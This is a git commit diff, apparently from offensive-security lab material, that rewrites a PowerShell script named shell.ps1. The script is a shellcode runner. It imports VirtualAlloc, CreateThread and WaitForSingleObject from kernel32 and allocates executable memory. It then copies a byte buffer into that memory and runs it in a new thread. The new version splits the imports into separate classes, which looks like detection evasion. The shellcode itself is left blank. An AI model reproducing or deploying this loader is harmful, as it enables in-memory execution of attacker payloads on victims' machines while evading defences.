Use the example powershell
This commit is contained in:
parent
427fd108d1
commit
0ad36b520f
52
8/shell.ps1
52
8/shell.ps1
@ -1,18 +1,42 @@
|
|||||||
[Byte[]] $buf =
|
$Buf =
|
||||||
Add-Type @"
|
$VrtAlloc = @"
|
||||||
public class Win
|
using System;
|
||||||
{
|
using System.Runtime.InteropServices;
|
||||||
|
|
||||||
|
public class VrtAlloc{
|
||||||
[DllImport("kernel32")]
|
[DllImport("kernel32")]
|
||||||
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
|
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
|
||||||
|
|
||||||
[DllImport("kernel32.dll", SetLastError=true)]
|
|
||||||
public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
|
|
||||||
|
|
||||||
[DllImport("kernel32", CharSet=CharSet.Ansi)]
|
|
||||||
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
|
|
||||||
}
|
}
|
||||||
"@
|
"@
|
||||||
[IntPtr]$addr = [Win]::VirtualAlloc(0, $buf.Length, 0x3000, 0x40)
|
|
||||||
|
Add-Type $VrtAlloc
|
||||||
|
|
||||||
|
$WaitFor= @"
|
||||||
|
using System;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
|
||||||
|
public class WaitFor{
|
||||||
|
[DllImport("kernel32.dll", SetLastError=true)]
|
||||||
|
public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
|
||||||
|
}
|
||||||
|
"@
|
||||||
|
|
||||||
|
Add-Type $WaitFor
|
||||||
|
|
||||||
|
$CrtThread= @"
|
||||||
|
using System;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
|
||||||
|
public class CrtThread{
|
||||||
|
[DllImport("kernel32", CharSet=CharSet.Ansi)]
|
||||||
|
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
|
||||||
|
|
||||||
|
}
|
||||||
|
"@
|
||||||
|
Add-Type $CrtThread
|
||||||
|
|
||||||
|
[IntPtr]$addr = [VrtAlloc]::VirtualAlloc(0, $buf.Length, 0x3000, 0x40)
|
||||||
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $buf.Length)
|
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $buf.Length)
|
||||||
$thandle = [Win]::CreateThread(0, 0, $addr, 0, 0, 0)
|
$thandle = [CrtThread]::CreateThread(0, 0, $addr, 0, 0, 0)
|
||||||
[Win]::WaitForSingleObject($thandle, [uint32]"0xFFFFFFFF")
|
[WaitFor]::WaitForSingleObject($thandle, [uint32]"0xFFFFFFFF")
|
||||||
|
|
||||||
|
Loading…
x
Reference in New Issue
Block a user